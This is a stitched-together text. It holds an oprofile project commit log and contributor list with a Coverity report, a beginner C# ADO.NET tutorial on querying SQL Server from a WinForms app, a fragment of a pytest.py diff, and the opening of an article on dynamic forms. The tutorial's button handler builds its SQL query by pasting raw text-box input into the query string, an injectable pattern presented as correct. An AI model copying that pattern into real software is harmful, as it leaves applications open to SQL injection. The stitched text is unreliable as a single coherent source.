clarify what means a configured kernel
sfile_lru_clear() return 0 if lru is empty, abort() if we try to clear to get free resource but lru was already empty + some s/()/(void) in a few functions prototypes/definitions
daemon/oprofiled.c, daemon/opd_mangling.c: print failing filename to open, no ChangeLog look the previous one
oops thinko ...
remove pch-c++.h and use bits/sdtc++.h instead for precompiled header support
populate libdb/tests and libregex/tests. Remove some useless interface in libdb
libutil/tests/file_tests.c: Fix some test: in some case the pathname component must be valid since we lstat() them. Fix a segfault due to a missing ','
op_open_device(): remove unused parameter fatal.
libdb/tests/db_test.c: success must be silent
libop/op_alloc_counter.[c|h]: change allocator by a backtracking algorithm walking only through possible solution. No change in public interface
libutil/tests/file_tests.c: honor posix "//" filename namespace
libdb/tests/db_test.c: if previous tests fails a corrupted samples file can exist in test dir and will be re-used, remove() it.
libop/op_alloc_counter.c: alloc counter in increasing number order, it's less suprising.
libop/tests: new test subdir, events parsing tests + event to counter number mapping tests. This needed some minor refactorizing in utils/op_help.c and libop
libop/tests/load_events_files_tests.c: new file, validate events description file by loading them. Revert last commit in libop/op_events.c
events/*.events *.unit_masks: move these files to subdir named arch/processor_name/events and arch/processor_name/unit_masks
events/*: remove events/*.events events/*.unit_masks
update TODO
utils/op_help.c: show "counter: all" instead an enumeration of all counter + some minor tweak see ChangeLog
dae/opd_proc: use struct list_head to chain opd_proc struct in hash table
update TODO
memory leak + FILE * leak
fix @authors
dae/*: use a list of struct opd_map instead of an array, remove last_map optimization, tidy a bit, fix minor memory leak
minor cleanup in */tests/Makefile.am; add libop/tests/cpu_type_tests.c; libop/op_cpu_type.[hc] constification; utils/op_help.c: minor tidy
libop/tests/alloc_counter_tests.c : comment fix.
libop/op_interface.h: struct op_sample: remove packed attribute
dae/oprofiled.c: don't set cpu_number when !--separate=cpu, fixing multiple open of the same sample files on SMP. libop/tests/*.c minor fix pointed by build on ia64.
update TODO
libregex/ Fix make check on ia64, should work now on other supported arch
libregex/tests/.cvsignore
update TODO for minimal stuff wanted for 0.7
module/x86/hammer_op_syscalls.c: pass tgid to daemon. Not tested\!
module/oprofile.c: don't restore syscall and stop counter twice
daemon/opd_sfile.c: protect the sfile we are acting on to be freed by sfile_lru_clear().
daemon/opd_perfmon.c, module/ia64/op_pmu.c: bit mask for event select field is 8 bits not 7
events/ia64/itanium/events: correct counter avalaible according to intel doc.
dae, daemon/ check we not overflow op_nr_counters
events/ia64/itanium/events: counter 0,1 not 2,3 for IA64_INST_RETIRED
daemon/opd_util.c: opd_parse_events() fix use after free.
libutil++/op_bfd.cpp: show filename when warning about no debug information available
libpp/arrange_profiles.cpp: use a set<profile_classes> instead of a vector<...> to replace a O(N*M) by a O(N*log(M)) behavior. (N number of samples files, M number of class).
s/profile_class&/profile_class &/
libutil++/op_bfd.cpp: get_linenr(): s/filename/source_filename/
minor change to suggestion string when merging is needed, update options
remove some FIXME: see ChangeLog entry
redundant return
nothing interesting: spelling fix in ChangeLog
various minor fix, see ChangeLog
relative path are relative to current dir not filename.
s/physical CPU/CPU/
dae/ daemon/ utils/pcontrol: implement --image filtering, see ChangeLog
dae/ daemon/ s/filtered/ignored/
opcontrol: allow to reset --image
update TODO
gui/ check separate_lib checkbox when separate_kernel_cb is checked
check we get kernel interface
daemon/liblegacy: nr_images static
daemon/liblegacy/*: move doygen comment from *.c to *.h. Add some doxygen comment.
doc : typo + better wording for opcontrol --separate
minor tidy
libutil++/string_manip.cpp: fix separate_token()
remove --no-demangle, --smart-demangle and --demangle, replace them with --demangle=none|smart|normal
error out for all tag::value specified more than once
remove tostr()/tobool/touint(), rename lexical_cast_no_ws<> to op_lexical_cast<>, update call site and test.
fix matching logic for cpu/tid/tgid
tests for libutil++/file_manip.cpp
daemon: follow symlink for image filters
allow --merge= for opannotate
tweak option checking for opannotate --exclude-dependent
opannotate: error it when --assembly is not requested and no debug information exists
fix make distcheck
2.4 module two new read-only sysctl: nr_buffer_overflow and nr_note_buffer_overflow
remove libutil++/generic_spec.cpp
tests for glob_filter
s/format_double/format_percent/
new test for libutil++
sparse sample file array allocated by line
NR_CPUS broken ?
avoid repetitive vector::erase(v.begin())
add (i|o)stream operator(>>|<<)
new test files convering most of utility.h and op_exception.h
remove some .h dependencies
remove all trace of died op_alias + some minor simplification possible now
remove unnecessary include
minor tidy
-pedantic fix
remove FIXME in path_filter::match()
mention suse and vmware problem
update TODO
fix s390 vs s390x cookie syscall
be less paranoiad on kernel range check
fix ChangeLog entry
fix module build: use .PHONY with module goal to not conflict with module subdir
fix build with 2.2 kernel
new tests: sample filename mangling
fix build on alpha
missing #include <string> on some box
rtrim/ltrim/trim tests
do not use OP_MAX_COUNTERS but get counter number at runtime
2.4 daemon: dump buffer and note buffer overflow to oprofiled.log
Fix #838968 : kernel and user field in event description reversed
report_error() shows only distinct conflicting name.
fix critical bug #840046
s/hammer/AMD64 processors/ for user visible name
alwaus provide an image name for parsed process in /proc
put unitmask in the same axis as event:count
merge all unit mask before generating event description string
Run noticed we installed libregex test file. Reword opcontrol error message about /var/log/messages
Ensure filename passed to op_realpath() exists
fix OP_DOCDIR
don't assume in('a') > int('0)'
move some #include <> from .h to .cpp
libregex: tidy a bit private api
pp/opgprof_options.cpp: use the proper type for options::demangle
merge BRANCH_CALLGRAPH to HEAD
Fix wrong offset in symbols section position, it's not a complete fix but avoid to break the normal case (no debuginfo file). A corner case remains: symbol coming from separated debug info file and not living in .text section are mis-offseted
oops build broken by my last fixd
document opstack
Obviously not2(weak_ordering_function) is not a weak_ordering function leading to mysterious segfault during sort.
minor fix: 64 bits build, missing std:: in header file
pp/.cvsignore: add opstack, no changeLog
new verbose (cverb) handling, see cverb.h for the predefined verbose object
TODO update, no ChangeLog
tweak a bit verbose options, document them
callgraph: tweak comparator used to sort arc
don't segfault silently or produce undefined behavior if we get invalid counter
oops no need to be so pessimistic in my last commit, check if (counter > op_nr_counters) not if (counter > OP_MAX_COUNTERS), no ChangeLog
fix merging of different tid/tgid/cpu
fix comment, no ChangeLog
update TODO about metrics etc., no ChangeLog
opcontrol: add --cpu-buffer-size and document it.
libutil++/op_bfd.cpp: Fix bfd_find_nearest_line() and separate debug info, please test it.
opstack: handle report_image_error()
minor tidy: s/template <class/template <typename/
clarify and update TODO, no ChangeLog
typo, warn at first error not from second
two bugs, one in dae and another in opstack, both involving start_offset
don't use default in switch (cpu_type) to ensure adding a cpu type will issue a warning where we forget to handle it.
Thinko: coredump with opcontrol --reset, problem was in callgraph branch. split daemon --verbose, w/o argument it's synonymous to --verbose=all. Better splitting is welcome.
dae/opd_sfile.c: oops some printf commited not intended to be commited, no ChangeLog
Add a ChangeLog rather to revert last not intended commit, anyway tree is stable: add output_hint() and use it
opstack: all output through a cg_formatter class, factorize code used by opreport and opstack formatter. Implement more command line options for opstack + minor other change, see ChageLog
opstack: fix --debug-info, callgraph_container: refactorize a bit anon namespace
callgraph_container: redesign to support multiple profile classes
fix opstack --accumulated
opstack: implement --threshold
update TODO, no ChangeLog
arc_recorder::get_caller()/get_callee() name was reversed (catched by Will Cohen)
callgraph_container: Big Thinko (tm), callee samples offset are unordered
tweak computation of calle_counts
arrange_profiles.cpp re-order function to fix a build problem with gcc 3.3.1
P4/P4-HT: global_power_events need mandatory unit mask
op_mangle_filename() presume mangle_values::dep_name is never NULL, this fix a daemon segfault with 2.4 kernel
arm support for timer interrupt (Zwane Mwaikambo)
ARM: Fix syscall base number (zwane)
update TODO (daemon segfault when callgraph != 0 and counter != 0 is used)
P4 support: fix some unit mask
add ChangeLog-2003 to EXTRA_DIST, no ChangeLog
handle new statistics added in callgraph patch
P4 HT: multiply all minimum count by two
minor fix related to unit mask handling, side effect is the needed fix to unit_mask description for Itanium2 (trivial) and amd64 (done through doc inspection)
clarify the bogosity zwane reach with a wrong text offset, this showed an unexpected side effect of text_offset
daemon: send alarm() after fork not before, behavior changed between 2.4 and 2.6 and according to posix 2.6 is right.
update and clarify TODO
sanatize min count when callgraph is on
op_help s/15/callgraph_min_count_scale/ no ChangeLog
Add a sanity check about start_offset, throw if check fails
P4/P4-ht event: fix MEMORY_COMMPLETE unit mask
backport P4 HyperThreading support from 2.6 to 2.4 modules
update TODO about skipped bt in callgraph patch
clarify opstack header; use 0 istnead of 0.0e+00
opstack: handle merge_options::lib
shrink TODO
opstack: change output spacing
fix a failure from the last format_percent() change
minor doxygen fix
opstack: alternate output format
a bit subtle: force daemon build with frame pointer. If daemon is built w/o
minor warning fix
Zwane: This patch fixes the listing of symbols within the kernel image
fix gcc PR#14340; fix some kernel 2.2 driver undefined reference
opcontrol: tweak a bit error message
2.4 module build fix
2.4: fix 32 bit application profiling on x86/64, it's not clear what is the second mmap with VM_EXECUTABLE bit, Fix #921243
remove a spurious cerr <<; fix a potential memory leak
fix opreport -m lib which was broken by introduction of call graph profiling
thinko in #931871 bug fix
pp/ move --threshold option from common_options.* to each application handling it so oparchive don't get this option. Update doc
add a bit of documention about the need of lapic with UP kernel > 2.6.9
op_bfd : improve a bit the chosen symbol when multiple symbol live at same vma
more tweaking of the chosen symbols, no ChangeLog
TODO: words about adding a --root= option to oparchive
libutil++/locate_images.cpp: ensure error is always set, callgraph_container was using an uninitialized value.
opgprof: ensure we load all acllgraph files
fix #971487, daemon was unable to retrieve correctly callgraph sample file for kernel space samples. Fixed by adding relevant information to cg_hash_entry.
update TODO
daemon: sfile_clear_kenel() : clear also callgraph file depending on module
daemon: depending on the configuration some statistics are useless, don't print them if we can't read the oprofile fs file
TODO: update, no ChangeLog
simplify a bit get_mapping()
oops, the missing ChangeLog
missing ChangeLog entry
fix #1093162, look like a compiler problem only but simplfying our ode fix it
rotate ChangeLog, happy new year\!
Always initialize op_bfd_symbol:symb_hidden and symb_weak, not a bug fix but a cleanup.
doc update by for ppc64 Maynard Johnson
revert last patch, bash can't do integer artighmetic with hexa, so we don't do further validation on vmlinux vma range
remove three P4 events unhandled by the kernel module, they'll be re-added when proper support will exists
bump to 0.8.2
cached_value_tests.cpp : fix doxygen filename, no ChangeLog
fix a segfault if an ibfd pointer == NULL.
fix double formating when value are negative
gcc-4.0 fix
protect trans->last against sfile lru deletion
don't sfile_[get|put] twice time the same sfile
op_file_readable() return sucess only for regular file
ia64 compile fix for 2.4.20 kernel
daemon: clear only 256 entry in the lru sfile list
cverb minor tidy
pp tools: split argument {} in two separate argument
opannotate : error out if --assembly and --output-dir are used together, update doc too
partially remove bash dependency, patch provided by Richard Purdie
remove other bashism, document we are and should remain bashism free
fix event parsing in the gui according to the 'remove bashism patch'
document 2.2/2.4 module parameter force_rtc=1
gui : fix detection of stopped profling, fix a miscounted interrupt nr after a start/stop/start sequence
gui: hardcode opcontrol setup file to /root, rename get_user_filename() to get_config_filename()
gui : allow to reset sample files and set callgraph depth
update TODO about lapic
Do not use any C++ features to write the abi. Remove --enable-abi and related stuff, the libabi is now build unconditionnaly. Add a man page for opimport
usability: handle help string when using keyboard to navigate through events list
tweak opimport documentation
Fix #1252754 by allowing to fetch multiple symbols for a given source:linenr location
opannotate can at least output symbols name and counts when no source file is available. This change make more visible the problem of inaccuracy in annotated source and inline functions so improve the documentation about it.
coding style, nothing interresting
don't throw a std::string but an op_runtime_error
Always do the mtime checks even when using archive: spec
implement and document 2.6 buffer watershed
fix #1254390. Backport from 2.6 the don't touch IQ_ESCR0/1 patch for prescott and above. Fix a compilation error with gcc-3.3 (and probably older)
daemon: fix two scanf potential buffer overflow
nothing interesting: minor coding style, no ChangeLog entry
when copying a file we must try to preserve file attributes and owner else an admin can give inadvertently read access to binary a simple user has no right to read, this affected running oparchive with root right. Problem started in cvs the 2005-08-07
gui: cpu-buffer-size handling
copy_file was racy; robustify oparchive
handle samples at a zero relative offset from the mapping, this fix a corner case when kernel module get a sample a the first byte of their .text section
allocate node in two step giving use better warranty than a node created will not be seen by pp tools in an inconsistent state
change op_event.val field from u8 to u32. There is no user visible change as we already used a 32 bit val in struct opd_header
improve libdb benchmark
Fix #1256978: sum of samples count overflow
thinko in previous patch, do a real check for overflow, no ChangeLog
fix compilation on gcc 2.95
Comment the use of the debuginfo file
when copying a file we must set the last modification after the copy not before
samples files statistics must use 64 bits samples count
tidy, nothing interresting
typo in e500/events
Maynard Johnson patch: add/update all ppc64 events description, those has been generated programmatically from "official" source. Events name changed
add one newly documented hammer event
reword the last added event, no ChangeLog
fix #1276058, oparchive must force merging to avoid trigerring some sanity check (note than merging doesn't really occur in oparchive)
.BR strings in man page need to be quoted to avoid missing space and get a correct bold face
For each events set the gui reseted the highest bit available in the unit mask. So quitting then restarting oprof_start lead to a different counter setup
switch unit mask from 16 to 32 bits, 16 bits was an historical artefact coming from the first p6 implementation. I'll use 3/4 upper bits for the p4 driver
Fix a segfault when bfd_find_nearest_line() return a null function name
ChangeLog: missing bug number fixed
ChangeLog --> ChangeLog-2005
documentation typo, --long-filename short opt was wrong)
two glitch with the log file. 1) opcontrol was using the old path to create the log file. 2) Fix oprofiled.log file mode, 0755 is not needed, use 0644
errm, better to not create the log file in opcontrol, daemon open it in append mode
missing initialisation when mangling an anon and callgraph filename, fix given by Amitabha Roy
tidy ChangeLog
better error message when the cpu type is not recognized
Add a sanity check to avoid '.' in event name, make check and tools no longer accept such name because post profile tools can't work with them. Replace '.' by '_' in events name for i386/core_2 and ppc64/cell-be
fix opcontrol --dump as non root with bash 2.0 and probably with some other shell than bash. With bash the error was /usr/local/bin/opcontrol: line 1670: -z: command not found
update AMD family 10h events to match AMD documentation, notable change are L3 cache events
fix a few dead url
fix bug #1717298, many mips event number was in decimal but parsed as hexadecimal. Change the code so make check no longer accept decimal notation for field intended to be in hexadecimal. Comment out a bunch of events for mips/34K, they overlap and they does not make sense
bump sample file format version. It should has been done before 0.9.3. Fix an annoying bug related to sample file format change: when odb_open() failed due to sanity checking failure we reported the error has an 'Invalid argument' because we checked the version number only if odb_open() succeed
opcontrol --list-events and --dump error message were obscure if the module was not loaded
--reset no longer need the module to be loaded, so the sequence opcontrol --deinit; opcontrol --reset no longer need another --deinit after the reset to unload the module
fix bug #1564920, missing objdump gave obscure error message when opcontrol try to calculate kernel code sections range
Fix my previous patch about --reset, it was broken because --reset imply --dump if the daemon is running
sparse_array::size() returned the maximum index while we need the maximum index + 1, this broke differential profile in 0.9.3 (the only user of this member function)
when parsing lib-image we need to fixup lib_image, look like a trivial typo
fix #1819350, extra_images are now per profile specification, most of the patch is passing extra_images as parameter to lower layer. There is no intended user level visible change except it clarify than --image-path with archive: is special and must be identical to the --image-path option used when creating the archive, --image-path is likely to be obsoleted when used with archive: spec, see the ChangeLog
minor overkill
copy_file() no longer create empty output file if the input file is not readable. Oparchive created such empty file with input file ala -rws--x--x 1 root root
Cleanup the way per spec archive_path is handled, as extra_images
Pass to image_errors the archive_path through an extra_images to ensure consistent error message. Remove all use of archive_path global var in pp tools, this patch kill the last use of the global string archive_path
Prepare #931882 fix by extending image_name_storage. Use the new api in a compatible way with the old behavior, no output change intended
Fix #931882, xml output not changed at the moment.
oparchive need root if you want to save all binaries, disable oparchive -o /, it look like an easy typo to do and will screw up completely the box.
sighs, no ChangeLog for the previous patch and an obvious error in it
We warned than --sort is not compatible with --xml but didn't reset sort option to the right default value in such case
improve --xml --details performance by moving bfd open to get symbols code bytes to the call site and use the last opened bfd as a cache. This works because --xml imply sorting symbols by application name
oparchive --list-files created the dir for debug files.
oprof_start silently failed if a counter is missing, nmi watchdog up for example, we must check for this in opcontrol and exit 1 if something is wrong, at the same time we can provide valuable advise on how to work around this in recent kernel
Fix armv6 events to match mainline kernels
opannotate --assembly wasn't looking for the right image name for a module, bug appeared after 0.9.3 release
compile fix for gcc 2.95.3
Busybox's implementation of 'kill' doesn't understand the '-s SIG' option. Use '-SIG' instead.
linenr != 0 imply we have debug info, is_correct_function() must be called only if debug info are missing
handle --root which act as a replacement (a prefix) for the / fs
updated Power6 event files
output XML SYMBOL_DATA for all callers/callees, even those not reaching the --threshold option
power6 events, restaure event 2
dump invalid pc count, added to oprofile stats fs 2.6.24-rc
remove op_bfd::sym_offset(), we can do what did sym_offset() in a simpler way at call site
Richard Purdie (1):
Add armv7 support from Jean Pihet
Robert Richter (1):
oprofile, doc: Fix missing xrefs
Ross Lagerwall (2):
Simplify argument handling by not converting to string and back again.
Don't close uninitialized file descriptor
Ryo Onodera (1):
Add #include of stdint.h to opagent.h
Sheetal Sahasrabudhe (2):
Add support for Qualcomm Scorpion and ScorpionMP CPU
Fix event name clash in scorpion/scorpionmp
Suravee Suthikulpanit (36):
Fix the names of the arch perfmon events to conform better to the manual
Add atom, core_i7, nehalem support
Add [PATCH]_[1_5]_Fix_cpuid_filter_for__arch_perfmon.patch from Andi Kleen
- Add [PATCH]_[2_5]_Misc_Nehalem___Atom_event_files_fixes.patch from Andi Kleen.
Add [PATCH]_[3_5]_Fix_cleanup_crash.patch from Andi Kleen
Add documentation for extended feature interface and IBS
Add patch to fix ext initialization
Add a patch to fix IBS initialization in opcontrol
-Add Istunbul events support patch
-Add Patch to fix unit-mask for p4 test cases from Andi (patch1/2)
Enable "i386/nehalem" cpu_type for general Nehalem Microarchitecture.
Correction of the i386/arch_perfmon events
Fix up the previous MIPS patch
-Add supports for AMD processors family12h/14h/15h
Add additional IBS supports for AMD processors family12h/14h/15h
Update family15h events and unit_masks file
Update family12h events and unit_masks file (V2)
Update family14h events and unit_masks files
Update family10h events and unit_masks files
Add an event list for Sandy Bridge. Modify oprofile to detect Sandy Bridges.
Consolidate new ChangeLog-20xx files and remove
Fix BUG3069227: Time discrepancy using oprofile
Fix build error
Bump version number to 0.9.7-rc2
Fix typo in configure.in file
Fix the logic for checking /dev/oprofile/[0-9]+/extra
Fix operport error with "-m cpu"
Bump version number to 0.9.7-rc3
Bump version number to 0.9.7-rc4
Bump version number for official 0.9.7 release
Switch version number to 0.9.7git
Add support for AMD and older Intel processors to operf
Fix build issue with gcc-4.7.2 due to fgets
Add Support for AMD Generic Performance Events
Remove improper extra field from core_2 unit masks
Add support for named default unit masks
Ting Liu (2):
Add freescale e500mc support
Add freescale e6500 support
Tulio Magno Quites Machado Filho (1):
Update configure.ac to work with automake 1.13
Vineet Gupta (1):
Add support for ARC architecture to operf
Will Deacon (4):
events/arm/armv7-ca9/events: Add missing TLB event
Factor out /proc/cpuinfo scanning and add support for ARM to operf
Update support for ARMv7 processors
ARM: events: increase minimum cycle period to 100k
William Cohen (124):
Use correct path to the installed executables.
2002-12-01 Will Cohen <wcohen@...>
2002-12-02 Will Cohen <wcohen@...>
2002-12-04 Will Cohen <wcohen@...>
2002-12-10 Will Cohen <wcohen@...>
Correct generation of TMPNAME in utils/op_dump_25 and utils/opcontrol
2002-12-19 Will Cohen <wcohen@...>
2003-01-02 Will Cohen <wcohen@...>
* daemon/opd_cookie.h(opd_nr_lookup_dcookie): Add ia64 version.
Avoid using perl arithmetic in utils/opcontrol.
utils/opcontrol(get_kernel_range): Match only .text segment.
Update manpage information.
2003-02-06 Will Cohen <wcohen@...>
* utils/opcontrol: Add rtc-value option.
daemon/opd_cookie.h(opd_nr_lookup_dcookie): Add x86_64.
Correct entry for x86_64.
* TODO: update.
* pp/format_output.h (show_help): namespace std.
* utils/opcontrol (do_options): Better option error checking.
* utils/opcontrol (do_deinit): Correct search for /dev/oprofile.
* libop/op_events.h:
* events/ia64.itanium2.events:
* gui/oprof_start.cpp (oprof_start::on_start_profiler): Limit
* doc/Makefile.am: Correct path for htmldir.
* libutil/op_fileio.c (op_get_line): Use lower cost getc().
Change names to avoid /usr/lib/libdb.a name conflicts.
2003-06-16 Will Cohen <wcohen@...>
Add s390 syscall number.
Correct P4 default event.
Add --enable-gcov option and documentation.
Handle /proc/modules format.
2003-07-25 Will Cohen <wcohen@...>
2003-08-08 Will Cohen <wcohen@...>
* doc/opcontrol.1.in:
2003-08-27 Will Cohen <wcohen@...>
Allow --cpu-type option in op_help to accept strings describing the CPU.
Correct patch with phe's suggestions.
Allow oprofile to compile on 64-bit platforms.
Merge in support for debug information in file separate from binary.
Always use the filepos of the binary file.
2004-01-27 Will Cohen <wcohen@...>
missing std:: in header.
2004-02-10 Will Cohen <wcohen@...>
fix normalise_events for default event.
Support --dump for normal users.
Tweak some error messages and factor out common code.
Correct order of calls.
Add quotes as required for automake 1.8 to m4 files.
Correct unit masks for machine_clear.
Check in oparchive support.
Add doc/oparchive.in.1.
Check in new source files for oparchive.
Add documentation about default events.
Add logic to use the preferred symbol name.
* utils/opcontrol: Correct ppc64 check that events are in same group.
Add ppc64/970 support.
Correct Changelog formating.
Corrected group 4 counter assignments for power4.
Correct typo in events/Makefile.am.
Avoiding mixing code and declarations, so gcc 3.4 compile oprofile.
libpp/arrange_profiles.cpp: Correct anon namespace for gcc 4.1.
Use full path names for which and dirname.
libpp/symbol_container.cpp: Explicit casting.
correct blank log entry
* configure.in: bump to 0.9.2
* events/i386/core_2/events: Correct some event names.
Correct names and masks.
Bump version release candidate.
Set to version 0.9.2.
Bump to 0.9.2.
Bump to 0.9.3cvs
Add ChangeLog-2004 and ChangeLog-2005 to distro.
allocate_counter() continue search.
Correct ChangeLog to first person that reported problem.
2007-02-21 Rob Bradford <rob@...>
2007-02-21 Rob Bradford <rob@...>
2007-03-23 Jason Yeh <jason.yeh@...>
2007-04-13 Will Cohen <wcohen@...>
2007-10-05 Will Cohen <wcohen@...>
2008-02-15 Will Cohen <wcohen@...>
2008-06-03 Will Cohen <wcohen@...>
2010-06-11 William Cohen <wcohen@...>
Do not use mutable for reference variable.
Convert the .cvsignore files into .gitignore files.
Change CVS referece to Git.
Remove reference to CVS in oprofile.xml
Remove reference to CVS in autogen.sh
Add mappings for additional CPU_WESTMERE and CPU_CORE_I7 processors
Fix to allow opcontrol to work with busybox ash
Avoid blindly writing to $SESSION_DIR/opd_pipe
Ensure that --save only saves things in $SESSION_DIR
Do the close(fd) before doing the throw
Ensure that malloc'ed memory freed in check_redundant_key
Ensure that op_get_cpu_type() closes the file
Exclude the machine generated *.o, *.a, *.i, and *.so files from the git repo.
Avoid using [[ in error_if_not_basename() to improve posix compliance.
Avoid blindly source $SETUP_FILE with '.' (PR3303383)
Avoid using bash [[ and =~ in guess_number_base()
Do additional checks on user supplied arguments
Correct typo for possible counters for UNHALTED_REFERENCE_CYCLES
Fix compilation error due to the assembly language instruction cpuid
Fix possible buffer overruns in ibs_init()
Remove old oprofile kernel module code
Make autogen.sh a bit more discriminating on automake version
In Fedora rawhide opjitconver/opjitconv.c failed to build because
OProfile doesn't build for 32-bit ppc; the operf_utils.cpp compile
Fix ASSERT_SIDE_EFFECT problems found by coverity scan
Avoid changing the number formatting for cout and cerr streams
Add the "--no-header" short form option, "-n", to the opreport man page
Document additional ophelp options on the man page
Add the --merge option description to opannotate man page.
Document the opcontrol short form options on the man page
Add a short man page for op-check-perfevents.
Add man page for oprof_start.
Remove obsolete --note-table-size option from opcontrol
Remove unused variable dirstat in op_open_agent function
Print unit mask name where applicable in ophelp XML output
Provide basic AArch64 (ARMv8) support
Add missing ':' on case statement for CPU_ARM_V8_APM_XGENE
Make op_bfd::get_kallsym_symbols() 32/64-bit agnostic
Remove unused functions causing errors in recent gcc
Add oprofile support for ARM Cortex A57 microarchitecture
Add oprofile support for ARM Cortex A53 microarchitecture
Fixes for coverity reported issues in opagent.c
Youquan Song (1):
Add Ivybridge EP support
Zwane Mwaikambo (2):
Add ARM/xscale events/unit_masks
Add ARM/xscale PMU support
maynardj (3):
Description: Changes needed for the switch from cvs to git
Signed-off-by: Maynard Johnson <maynardj@...>
Signed-off-by: Gert Wollny <gw.fossdev@...>
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Link ocount with librt for clock_gettime only when needed
With GLIBC 2.17, the clock_* functions were moved from librt
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Date: Thu Aug 7 15:58:23 2014 -0500
Exclude collecting hypervisor samples for default event
In a July 7 commit, I made the following change:
Make sure hypervisor is excluded from ocount and operf
Since we have no interface support in the event specification to
allow the user to select or de-select counting events in hypervisor,
and also since the output of ocount and opreport do not support the
concept of hypervisor, we should exclude hypervisor from counting
and profiling. There's a bug in the current code such that the
user may or may not get hypervisor events included. This patch
explicitly excludes hypervisor.
Apparently, I neglected making the corresponding change for the default event.
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Fix mis-placed parentheses in previous commit that caused build error
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Add another ARM internal mapping symbol to ignore
Ignore "$x" symbols, which can show up as internal
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Determine s390 cpu type from /proc/cpuinfo for operf/ocount
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Date: Fri Jul 25 15:00:46 2014 -0400
Fixes for coverity reported issues in opagent.c
The patch fixes the following errors: :
Error: COMPILER_WARNING:
oprofile-1.0.0git/libopagent/opagent.c: scope_hint: In function 'op_open_agent'
oprofile-1.0.0git/libopagent/opagent.c:205:2: warning: implicit declaration of function 'flock' [-Wimplicit-function-declaration]
rc = flock(fd, LOCK_EX | LOCK_NB);
^
Error: RESOURCE_LEAK (CWE-772):
oprofile-1.0.0git/libopagent/opagent.c:195: alloc_fn: Storage is returned from allocation function "fdopen(int, char const *)".
oprofile-1.0.0git/libopagent/opagent.c:195: var_assign: Assigning: "dumpfile" = storage returned from "fdopen(fd, "w")".
oprofile-1.0.0git/libopagent/opagent.c:213: leaked_storage: Variable "dumpfile" going out of scope leaks the storage it points to.
Error: UNINIT (CWE-457):
oprofile-1.0.0git/libopagent/opagent.c:266: var_decl: Declaring variable "dumpfd" without initializer.
oprofile-1.0.0git/libopagent/opagent.c:285: uninit_use_in_call: Using uninitialized value "dumpfd" when calling "flock()".
Error: COMPILER_WARNING:
oprofile-1.0.0git/libopagent/opagent.c: scope_hint: In function 'op_close_agent'
oprofile-1.0.0git/libopagent/opagent.c:285:5: warning: 'dumpfd' may be used uninitialized in this function [-Wmaybe-uninitialized]
rc = flock(dumpfd, LOCK_EX | LOCK_NB);
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Add oprofile support for ARM Cortex A53 microarchitecture
This patch adds the event list of the ARM Cortex A53 architecture.
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libop/op_cpu_type.h | 2 +
libop/op_events.c | 2 +
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When you work with database applications, it always needs to connect your application with a database like MSSQL or ORACLE or any others. But for beginners, it's hard to make database connection with the application. Once I faced this problem. So for beginners, now I am going to show you how to connect your application with MSSQL express edition using ADO.NET.
At first, create a winform project. Then go the View menu and click Server Explorer. Right click on the label named Data Connection and click on Add Connection.
A new window will open. Select Microsoft SQL Server and click continue.
Then another new window will open. Write your server name on the first red rectangle area. Server name will be yourPCname\sqlexpress. Here my PC name is bikashpc. You can get your server name by clicking on the Servers node in Server Explorer window. If there is only one server, then there is no confusion.Then give a name to your database on the second red rectangle area. Here, I give my database name bksdb. And then click ok.
Your application is now connected with the database. Let's go test it.Let's create a form like this:
The task is you will put your friend's roll number in the text box and by clicking Show Name button you will get the name of that friend in the name text box. So let's create a table for storing friends' name and roll number.To create a table, go the Server Explorer and click on the + at the left side of your newly created database. It will expand and many other nodes will be shown including Tables,Views and so forth. Right click on the table and click Add New Table.
Then a new tab will open in which you have to put your column name and data type. Write and save table by right clicking on the tab like this:
Here I add two columns, name and roll and name my table student. Let's put some data manually in the table. To do that, click the + node of the left side of the table. You can see your table here. Right click on your table name and click Show Table Data.
Add some name and roll.
Sometimes, you need to change your table definitions: changing column name, adding column, changing data type and so on. To do that again, right click on your table name and click Open Table Definition.
Then modify what you want.Let's write some program now for showing data into the text box. Double click on the button Show Name. In the code file, it will look like this:
private void button1_Click(object sender, EventArgs e)
{
}
Add namespace for sqlclient on the top of the code file writing the code below:
sqlclient
using System.Data.SqlClient;
Now you have to connect your application by writing some code. In the button action, write:
private void button1_Click(object sender, EventArgs e)
{
string connectionString = @"Data Source=bikashpc\sqlexpress;Initial Catalog=bksdb;
Integrated Security=True";
SqlConnection sqlCon = new SqlConnection(connectionString);
}
Your connection is complete.The question is how can you get your connection string. Let's find out your Connectionstring. Again, right click in your created database and click on the Properties:
Properties window will open.
Copy your Data Source and paste it into Data Source of connectionString. So you can now go to fetch data from your database. To do that, you have to open your connection by writing:
sqlCon.Open();
Remember each time you open your connection, you have to close it by writing:
sqlCon.Close();
So let's add some code to your button action.
private void button1_Click(object sender, EventArgs e)
{
string connectionString = @"Data Source=bikashpc\sqlexpress;Initial Catalog=bksdb;
Integrated Security=True";
SqlConnection sqlCon = new SqlConnection(connectionString);
sqlCon.Open();
string commandString = "select name from student where roll='" + textBox1.Text + "'";
SqlCommand sqlCmd = new SqlCommand(commandString, sqlCon);
SqlDataReader read = sqlCmd.ExecuteReader();
while (read.Read())
{
textBox2.Text = read["name"].ToString(); // it will show your friend's name
}
sqlCon.Close();
}
Colored portion is used to fetch data from your database and show it in the texbox. Run your program and write a roll number in the textbox and then click the Show Name button. Wow!!!! What you see is your friend's name shown in the name texbox.
This is all to inform you. I think it will help you a lot.
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#!/usr/bin/env python
"""
-unit and functional testing with Python.
+PyPy Test runner interface
+--------------------------
+
+Running pytest.py starts py.test, the testing tool
+we use in PyPy. It is distributed along with PyPy,
+but you may get more information about it at
+.
+Note that it makes no sense to run all tests at once.
+You need to pick a particular subdirectory and run
+ cd pypy/.../test
+ ../../../pytest.py [options]
+For more information, use pytest.py -h.
__all__ = ['main']
from _pytest import __version__
if __name__ == '__main__': # if run as a script or by 'python -m pytest'
+ import os
+ if len(sys.argv) == 1 and os.path.dirname(sys.argv[0]) in '.':
+ print >> sys.stderr, __doc__
+ sys.exit(2)
#XXX: sync to upstream later
import pytest_cov
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The following program was written in order to share the technics needed to implement the dynamic construction of a form. The initial idea was about writing a program in C#, that
would allow its users, to manage any kind of collection structure (coins, stamps, guns, etc...). I had to overcome 2 main challenges. First of all i needed to learn how to create in runtime, a database table, with a
dynamic name, and dynamic fields in a comprehensive way for the most basic users. Second, it became obvious that the form that would support these tables would also have to be dynamic.
You can see the result by downloading My Collections manager.
Let's focus only on the second part of the challenge, the dynamic creation of forms, also the most visual and rewarding.
First, in order to make a valid sample of what you can create with dynamic forms, I've made a little dynamic forms generator.
By running DynamicForm.exe which can be found in the DynamicForm_demo.zip file,
